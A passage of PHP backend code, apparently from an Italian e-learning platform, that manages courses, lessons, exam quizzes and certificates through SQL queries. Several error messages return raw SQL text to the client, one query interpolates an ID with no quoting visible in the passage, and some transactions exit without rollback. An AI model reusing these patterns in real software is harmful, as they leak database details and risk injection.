		$query = "SELECT cl.id_esame, cl.id_corso, cl.titolo, cl.subject, cl.testo, cl.files, cl.video, cl.image, cl.quiz, cl.time, cl.video_url, cl.image_url, cl.quiz_on, cl.rating, cl.numero_domande, (SELECT JSON_ARRAYAGG( JSON_OBJECT('id_domanda', cld.id_domanda,'domanda', cld.domanda,'attiva', cld.attiva,'risposte',(SELECT JSON_ARRAYAGG(JSON_OBJECT('id_risposta', clr.id_risposta,'risposta', clr.risposta,'corretta', clr.corretta)) FROM corso_esame_risposta AS clr WHERE clr.id_domanda = cld.id_domanda ))) FROM corso_esame_domanda AS cld WHERE cld.id_esame = cl.id_esame) AS paniere FROM corso_esame AS cl WHERE cl.id_corso = $id_corso";
		$res= $this->db->SafeFetchOne($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	public function deleteCertificato($id_esame, $id_user){
		$id_user =  $this->db->quoteInt($id_user);
		$id_esame =  $this->db->quoteInt($id_esame);
		$query = "SELECT codice_certificato FROM iscrizioni_studenti_esami WHERE id_user = $id_user AND id_esame = $id_esame;";
		$res= $this->db->SafeFetchOne($query);
		if($res['codice_certificato'] == null){
			return $this->printMessage( $this->responseMessage("Il certificato non è stato generato!", false) );
		}
		$filename = $res['codice_certificato'].".pdf";
		$query = "UPDATE iscrizioni_studenti_esami SET codice_certificato = NULL WHERE id_user = $id_user AND id_esame = $id_esame;";
		if (!$this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
		}
		$this->deleteFileS3Private("user",$id_user,$filename);
	}

	function autosaveTimerComeVideoLezione($_id_lezione, $_timer_come_video){
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$timer_come_video =  $this->db->quoteInt($_timer_come_video);
		$query = "UPDATE corso_lezione SET timer_come_video = $timer_come_video WHERE id_lezione = $id_lezione";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Timer come video salvato con successo.", true) );
		} else {
			return $this->printMessage( $this->responseMessage("Errore durante il salvataggio del timer come video, si prega di riprovare!", false) );
		}
	}

	function autosaveTipologiaCorso($_id_corso, $_tipologia){
		$id_corso =  $this->db->quoteInt($_id_corso);
		$tipologia =  $this->db->quoteText($_tipologia);
		$query = "UPDATE corso SET tipologia = $tipologia WHERE id_corso = $id_corso";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Tipologia di fruizione salvata con successo.", true) );
		} else {
			return $this->printMessage( $this->responseMessage("Errore durante il salvataggio della tipologia, si prega di riprovare!", false) );
		}
	}

	function autosaveEsameAttivoCorso($_id_corso, $_esame_attivo){
		$id_corso =  $this->db->quoteInt($_id_corso);
		$esame_attivo =  $this->db->quoteInt($_esame_attivo);
		$query = "UPDATE corso SET esame_attivo = $esame_attivo WHERE id_corso = $id_corso";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Aggiornamento effettuato con successo.", true) );
		} else {
			return $this->printMessage( $this->responseMessage("Errore durante il salvataggio dell'esame attivo, si prega di riprovare!", false) );
		}
	}

	function autosaveEsameLiberoCorso($_id_esame, $_esame_libero){
		$id_esame =  $this->db->quoteInt($_id_esame);
		$esame_libero =  $this->db->quoteInt($_esame_libero);
		$query = "UPDATE corso_esame SET erogazione = $esame_libero WHERE id_esame = $id_esame";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Aggiornamento effettuato con successo.", true) );
		} else {
			return $this->printMessage( $this->responseMessage("Errore durante il salvataggio dell'esame attivo, si prega di riprovare!", false) );
		}
	}
	

	function inserisciLezioneCorso($_id_corso){
		$this->db->beginTransaction();

		$id_corso =  $this->db->quoteInt($_id_corso);
		$query = "SELECT * FROM corso WHERE id_corso = $id_corso";
		$corso= $this->db->SafeFetchOne($query);	
		if(!$corso){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Corso non trovato!", false) );
		}
		
		$id_lezione = $this->db->SafeInsert("INSERT INTO corso_lezione (id_corso, disabilita_navigazione, scorrimento_automatico_slide, timer_come_video, time, timer_slide) VALUES($id_corso, ".$corso['disabilita_navigazione'].", ".$corso['scorrimento_automatico_slide'].", ".$corso['timer_come_video'].", ".$corso['timer_lezione'].", ".$corso['timer_slide']." );");
		if(!$id_lezione){		
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile associare il corso al centro!", false) );
		}

		$query_l = "INSERT INTO corso_lezione_domanda (id_lezione) VALUES($id_lezione);";
		$id_domanda= $this->db->SafeInsert($query_l);
		if(!$id_domanda){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		
		$query_l = "INSERT INTO corso_lezione_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta ( id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}

		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile inserire la nuova lezione!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Inserita nuova lezione!", true) );	

		}
	}
	function cancellaLezioneCorso($_id_lezione){
		$this->db->beginTransaction();
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$check = $this->db->SafeExec("DELETE FROM corso_lezione WHERE id_lezione=$id_lezione");
		if(!$check){	
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare la lezione!", false) );
		}
		$check = $this->db->SafeExec("DELETE FROM corso_lezione_domanda WHERE id_lezione=$id_lezione");
		if(!$check){	
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare la domanda associata alla lezione!", false) );
		}
		// $check = $this->db->SafeExec("DELETE FROM corso_lezione WHERE id_lezione=$id_lezione");
		// if(!$check){	
		// 	return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare la lezione!", false) );
		// }

		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare la lezione!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Lezione cancellata con succeso", true) );
		}
	}

	function getSediCentro($_id_user) {
		$id_user =  $this->db->quoteInt($_id_user);
		$query = "SELECT * from centri_sedi WHERE id_user = $id_user";
		$res= $this->db->SafeFetch($query);	
		return $this->printMessage( $this->responseMessage($res, true) );
	}

	function cancellaQuizLezioneCorso($_id_lezione){
		$this->db->beginTransaction();
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$q = "UPDATE corso_lezione SET quiz = 0 WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if(!$check){	
			return $this->printMessage( $this->responseMessage("Non è stato possibile disattivare il quiz della lezione!", false) );
		}
		$check = $this->db->SafeExec("DELETE FROM corso_lezione_domanda WHERE id_lezione=$id_lezione");
		if(!$check){	
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare il quiz associato alla lezione!", false) );
		}
		$query_l = "INSERT INTO corso_lezione_domanda (id_lezione) VALUES($id_lezione);";
		$id_domanda= $this->db->SafeInsert($query_l);
		if(!$id_domanda){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		
		$query_l = "INSERT INTO corso_lezione_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}

		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Non è stato possibile cancellare la lezione!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Lezione cancellata con succeso", true) );
		}
	}

	


	function aggiornaTitoloLezioneCorso($_id_lezione, $_titolo){
		$titolo =  $this->db->quoteText($_titolo);
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$q = "UPDATE corso_lezione SET titolo = $titolo WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Titolo della lezione aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}


	function aggiornaTitoloModulo($_id_modulo, $_titolo){
		$titolo =  $this->db->quoteText($_titolo);
		$id_modulo =  $this->db->quoteInt($_id_modulo);
		$q = "UPDATE corso_esame_modulo SET titolo = $titolo WHERE id_modulo = $id_modulo;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Titolo del modulo aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function aggiornaPrezzoModulo($_id_modulo, $_prezzo){
		$prezzo =  $this->db->quoteText($_prezzo);
		$id_modulo =  $this->db->quoteInt($_id_modulo);
		$q = "UPDATE corso_esame_modulo SET prezzo = $prezzo WHERE id_modulo = $id_modulo;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Prezzo del modulo aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	

	function cancellaVideoLezione($_id_lezione){
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$q = "UPDATE corso_lezione SET video_url = '' WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Video della lezione cancellato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	

	function aggiornaTimeLezioneCorso($_id_lezione, $_time){
		$time =  $this->db->quoteInt($_time);
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$q = "UPDATE corso_lezione SET time = $time WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Timing della lezione aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function autosaveNumeroDomandeEsame($_id_esame, $_numero_domande){
		$numero_domande =  $this->db->quoteInt($_numero_domande);
		$id_esame =  $this->db->quoteInt($_id_esame);
		$q = "UPDATE corso_esame SET numero_domande = $numero_domande WHERE id_esame = $id_esame;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Numero domande esame aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}
	function autosaveRatingEsame($_id_esame, $_rating){
		$rating =  $this->db->quoteInt($_rating);
		$id_esame =  $this->db->quoteInt($_id_esame);
		$q = "UPDATE corso_esame SET rating = $rating WHERE id_esame = $id_esame;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Rating esame aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function autosaveNumeroDomandeCorso($_id_corso, $_numero_domande){
		$numero_domande =  $this->db->quoteInt($_numero_domande);
		$id_corso =  $this->db->quoteInt($_id_corso);
		$q = "UPDATE corso_lezione SET numero_domande = $numero_domande WHERE id_corso = $id_corso;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Numero domande esame aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}
	function autosaveRatingCorso($_id_corso, $_rating){
		$rating =  $this->db->quoteInt($_rating);
		$id_corso =  $this->db->quoteInt($_id_corso);
		$q = "UPDATE corso_lezione SET rating = $rating WHERE id_corso = $id_corso;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Rating esame aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}


	function aggiornaTimeLezioneQuizCorso($_id_lezione, $_time){
		$time =  $this->db->quoteInt($_time);
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$q = "UPDATE corso_lezione SET quiz_time = $time WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Timing del quiz della lezione aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function aggiornaTimeEsameCorso($_id_esame, $_time){
		$time =  $this->db->quoteInt($_time);
		$id_esame =  $this->db->quoteInt($_id_esame);
		$q = "UPDATE corso_esame SET time = $time WHERE id_esame = $id_esame;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Timing dell'esame aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}


	function aggiornaTimeModuloEsame($_id_modulo, $_time){
		$time =  $this->db->quoteInt($_time);
		$id_modulo =  $this->db->quoteInt($_id_modulo);
		$q = "UPDATE corso_esame_modulo SET time = $time WHERE id_modulo = $id_modulo;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Timing del modulo aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}
	

	function aggiornaTimerSlideLezioneCorso($_id_lezione, $_timer_slide){
		$timer_slide =  $this->db->quoteInt($_timer_slide);
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$q = "UPDATE corso_lezione SET timer_slide = $timer_slide WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Timer slide della lezione aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function autosaveScorrimentoAutomaticoSlideLezione($_id_lezione, $_scorrimento_automatico_slide){
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		if($_scorrimento_automatico_slide){$scorrimento_automatico_slide = 1;}else{$scorrimento_automatico_slide = 0;}
		$scorrimento_automatico_slide =  $this->db->quoteInt($scorrimento_automatico_slide);
		$q = "UPDATE corso_lezione SET scorrimento_automatico_slide = $scorrimento_automatico_slide WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Scorrimento automatico slide della lezione aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function autosaveDisabilitaNavigazioneLezione($_id_lezione, $_disabilita_navigazione){
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		if($_disabilita_navigazione){$disabilita_navigazione = 1;}else{$disabilita_navigazione = 0;}
		$disabilita_navigazione =  $this->db->quoteInt($disabilita_navigazione);
		$q = "UPDATE corso_lezione SET disabilita_navigazione = $disabilita_navigazione WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Disabilita navigazione della lezione aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function aggiornaDomandaLezioneCorso($_id_domanda, $_domanda){
		$domanda =  $this->db->quoteText($_domanda);
		$id_domanda =  $this->db->quoteInt($_id_domanda);
		$q = "UPDATE corso_lezione_domanda SET domanda = $domanda WHERE id_domanda = $id_domanda;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Domanda aggiornata!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}
	function aggiornaDomandaEsameCorso($_id_domanda, $_domanda){
		$domanda =  $this->db->quoteText($_domanda);
		$id_domanda =  $this->db->quoteInt($_id_domanda);
		$q = "UPDATE corso_esame_domanda SET domanda = $domanda WHERE id_domanda = $id_domanda;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Domanda aggiornata!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}
	function aggiornaRispostaLezioneCorso($_id_risposta, $_risposta, $_corretta){
		$risposta =  $this->db->quoteText($_risposta);
		$id_risposta =  $this->db->quoteInt($_id_risposta);
		$corretta =  $this->db->quoteInt($_corretta);
		$q = "UPDATE corso_lezione_risposta SET risposta = $risposta, corretta = $corretta WHERE id_risposta = $id_risposta;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Risposta aggiornata!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function autosaveRispostaDomandaLezioneCorretta($_id_risposta, $_id_domanda){
		$this->db->beginTransaction();

		$id_domanda =  $this->db->quoteInt($_id_domanda);
		$id_risposta =  $this->db->quoteInt($_id_risposta);
		
		$q = "UPDATE corso_lezione_risposta SET corretta = 1 WHERE id_risposta = $id_risposta;";
		$check = $this->db->SafeExec($q);
		if(!$check){		
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!".$q, false) );	
		}

		$q = "UPDATE corso_lezione_risposta SET corretta = 0 WHERE id_domanda = $id_domanda AND id_risposta != $id_risposta;";
		$check = $this->db->SafeExec($q);

		
		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento eseguito con succeso", true) );
		}
	}

	function autosaveRispostaDomandaEsameCorretta($_id_risposta, $_id_domanda){
		$this->db->beginTransaction();

		$id_domanda =  $this->db->quoteInt($_id_domanda);
		$id_risposta =  $this->db->quoteInt($_id_risposta);
		
		$q = "UPDATE corso_esame_risposta SET corretta = 1 WHERE id_risposta = $id_risposta;";
		$check = $this->db->SafeExec($q);
		if(!$check){		
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!".$q, false) );	
		}

		$q = "UPDATE corso_esame_risposta SET corretta = 0 WHERE id_domanda = $id_domanda AND id_risposta != $id_risposta;";
		$check = $this->db->SafeExec($q);

		
		$res = $this->db->commit();
		if (!$res) {
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento eseguito con succeso", true) );
		}
	}

	

	

	function aggiornaRispostaEsameCorso($_id_risposta, $_risposta, $_corretta){
		$risposta =  $this->db->quoteText($_risposta);
		$id_risposta =  $this->db->quoteInt($_id_risposta);
		$corretta =  $this->db->quoteInt($_corretta);
		$q = "UPDATE corso_esame_risposta SET risposta = $risposta, corretta = $corretta WHERE id_risposta = $id_risposta;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Risposta aggiornata!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}



	function aggiornaOggettoLezione($_id_lezione, $_subject){
		$subject =  $this->db->quoteText($_subject);
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$q = "UPDATE corso_lezione SET subject = $subject WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Oggetto della lezione aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function aggiornaOggettoModulo($_id_modulo, $_subject){
		$subject =  $this->db->quoteText($_subject);
		$id_modulo =  $this->db->quoteInt($_id_modulo);
		$q = "UPDATE corso_esame_modulo SET subject = $subject WHERE id_modulo = $id_modulo;";
		$check = $this->db->SafeExec($q);
		if($check){		
			return $this->printMessage( $this->responseMessage("Oggetto del modulo aggiornato!", true) );	
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!".$q, false) );
		}
	}
	
	function aggiornaQuizLezioneCorso($_id_lezione, $_quiz){
		$quiz =  $this->db->quoteInt($_quiz);
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$q = "UPDATE corso_lezione SET quiz = $quiz WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			if($quiz){
				return $this->printMessage( $this->responseMessage("Quiz della lezione attivato!", true) );	
			}else{
				return $this->printMessage( $this->responseMessage("Quiz della lezione disattivato!", true) );	
			}
			
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function aggiornaImageLezioneCorso($_id_lezione, $_image){
		$image =  $this->db->quoteInt($_image);
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$q = "UPDATE corso_lezione SET image = $image WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			if($image){
				return $this->printMessage( $this->responseMessage("Slide della lezione attivata!", true) );	
			}else{
				return $this->printMessage( $this->responseMessage("Slide della lezione disattivata!", true) );	
			}
			
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	function aggiornaVideoLezioneCorso($_id_lezione, $_video){
		$video =  $this->db->quoteInt($_video);
		$id_lezione =  $this->db->quoteInt($_id_lezione);
		$q = "UPDATE corso_lezione SET video = $video WHERE id_lezione = $id_lezione;";
		$check = $this->db->SafeExec($q);
		if($check){		
			if($video){
				return $this->printMessage( $this->responseMessage("Video della lezione attivato!", true) );	
			}else{
				return $this->printMessage( $this->responseMessage("Video della lezione disattivato!", true) );	
			}
			
		}else{
			return $this->printMessage( $this->responseMessage("Aggiornamento non riuscito!", false) );
		}
	}

	
	

	function updateCorso($_id_corso,$_titolo,$_categoria,$_colore,$_prezzo,$_descrizione,$_finalita,$_programma,$_destinatari,$_contenuti,$_caratteristiche,$_durata, $_tipologia, $_erogazione){
		$id_corso =  $this->db->quoteInt($_id_corso);
		// $tipologia =  $this->db->quoteInt($_tipologia);
		$erogazione =  $this->db->quoteInt($_erogazione);
		$prezzo =  $this->db->quoteDecimal($_prezzo);
		$durata =  $this->db->quoteInt($_durata);
		$titolo =  $this->db->quoteText($_titolo);
		$categoria =  $this->db->quoteText($_categoria);
		$colore =  $this->db->quoteText($_colore);
		$descrizione =  $this->db->quoteText($_descrizione);
		$finalita =  $this->db->quoteText($_finalita);
		$programma =  $this->db->quoteText($_programma);
		$destinatari =  $this->db->quoteText($_destinatari);
		$contenuti =  $this->db->quoteText($_contenuti);
		$caratteristiche =  $this->db->quoteText($_caratteristiche);
		$query = "UPDATE corso SET "
				. " prezzo = $prezzo, "  
				. " durata = $durata, "  
				. " titolo = $titolo, "  
				. " categoria = $categoria, "  
				. " colore = $colore, "  
				. " descrizione = $descrizione, "  
				. " finalita = $finalita, "  
				. " programma = $programma, "  
				. " destinatari = $destinatari, "  
				. " contenuti = $contenuti, "  
				. " erogazione = $erogazione, "  
				//. " tipologia = $tipologia, "  
				. " caratteristiche = $caratteristiche "  
				. " WHERE id_corso = $id_corso;";
		if ($this->db->SafeExec($query)) {
			return $this->printMessage( $this->responseMessage("Corso modificato con successo!", true) );
    	} else {
			return $this->printMessage( $this->responseMessage("Errore durante l'aggiornamento, si prega di riprovare!", false) );
		}
	}

	function insertCorso($_titolo,$_categoria,$_colore,$_prezzo,$_descrizione,$_finalita,$_programma,$_destinatari,$_contenuti,$_caratteristiche,$_durata, $_tipologia, $_erogazione, $_disabilita_navigazione, $_scorrimento_automatico_slide, $_timer_come_video, $_timer_lezione, $_timer_slide){
		$this->db->beginTransaction();
		/******* Default value per le lezioni */
		if($_disabilita_navigazione){ $disabilita_navigazione =  $this->db->quoteInt(1);	}else{ $disabilita_navigazione =  $this->db->quoteInt(0); }
		if($_scorrimento_automatico_slide){ $scorrimento_automatico_slide =  $this->db->quoteInt(1);	}else{ $scorrimento_automatico_slide =  $this->db->quoteInt(0); }
		if($_timer_come_video){ $timer_come_video =  $this->db->quoteInt(1);	}else{ $timer_come_video =  $this->db->quoteInt(0); }
		$timer_lezione =  $this->db->quoteInt($_timer_lezione);
		$timer_slide =  $this->db->quoteInt($_timer_slide);
		
		/******* */
		$tipologia =  $this->db->quoteInt($_tipologia);
		$erogazione =  $this->db->quoteInt($_erogazione);
		$prezzo =  $this->db->quoteDecimal($_prezzo);
		$durata =  $this->db->quoteInt($_durata);
		$titolo =  $this->db->quoteText($_titolo);
		$categoria =  $this->db->quoteText($_categoria);
		$colore =  $this->db->quoteText($_colore);
		$descrizione =  $this->db->quoteText($_descrizione);
		$finalita =  $this->db->quoteText($_finalita);
		$programma =  $this->db->quoteText($_programma);
		$destinatari =  $this->db->quoteText($_destinatari);
		$contenuti =  $this->db->quoteText($_contenuti);
		$caratteristiche =  $this->db->quoteText($_caratteristiche);
		$query = "INSERT INTO corso "
				. " (prezzo,durata,titolo,categoria,colore,descrizione,finalita,programma,destinatari,contenuti,caratteristiche, tipologia, erogazione, disabilita_navigazione, scorrimento_automatico_slide, timer_come_video, timer_lezione, timer_slide) "
				. " VALUES($prezzo,$durata,$titolo,$categoria,$colore,$descrizione,$finalita,$programma,$destinatari,$contenuti,$caratteristiche, $tipologia, $erogazione, $disabilita_navigazione, $scorrimento_automatico_slide, $timer_come_video, $timer_lezione, $timer_slide); ";  
		$id_corso =$this->db->SafeInsert($query);
		if(!$id_corso){	
			return $this->printMessage( $this->responseMessage("Non è stato possibile inserire il corso!".$query, false) );
		}

		$query_l = "INSERT INTO corso_lezione (id_corso, disabilita_navigazione, scorrimento_automatico_slide, timer_come_video, time, timer_slide) VALUES($id_corso, $disabilita_navigazione, $scorrimento_automatico_slide, $timer_come_video, $timer_lezione, $timer_slide);";
		$id_lezione= $this->db->SafeInsert($query_l);
		if(!$id_lezione){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Lezioni del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}

		$query_l = "INSERT INTO corso_lezione_domanda (id_lezione) VALUES($id_lezione);";
		$id_domanda= $this->db->SafeInsert($query_l);
		if(!$id_domanda){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		
		$query_l = "INSERT INTO corso_lezione_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}
		$query_l = "INSERT INTO corso_lezione_risposta (id_domanda) VALUES($id_domanda);";
		$id_risposta= $this->db->SafeInsert($query_l);
		if(!$id_risposta){	
			$this->db->rollback();
			return $this->printMessage( $this->responseMessage("Risposta domanda lezione del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		}


		// $query_l = "INSERT INTO corso_esame (id_corso) VALUES($id_corso);";
		// $id_esame= $this->db->SafeInsert($query_l);
		// if(!$id_esame){	
		// 	$this->db->rollback();
		// 	return $this->printMessage( $this->responseMessage("Esame del corso non inserito errore nell'inserimento del corso!".$query_l, false) );
		// }

		// $query_l = "INSERT INTO corso_esame_domanda (id_esame) VALUES($id_esame);";
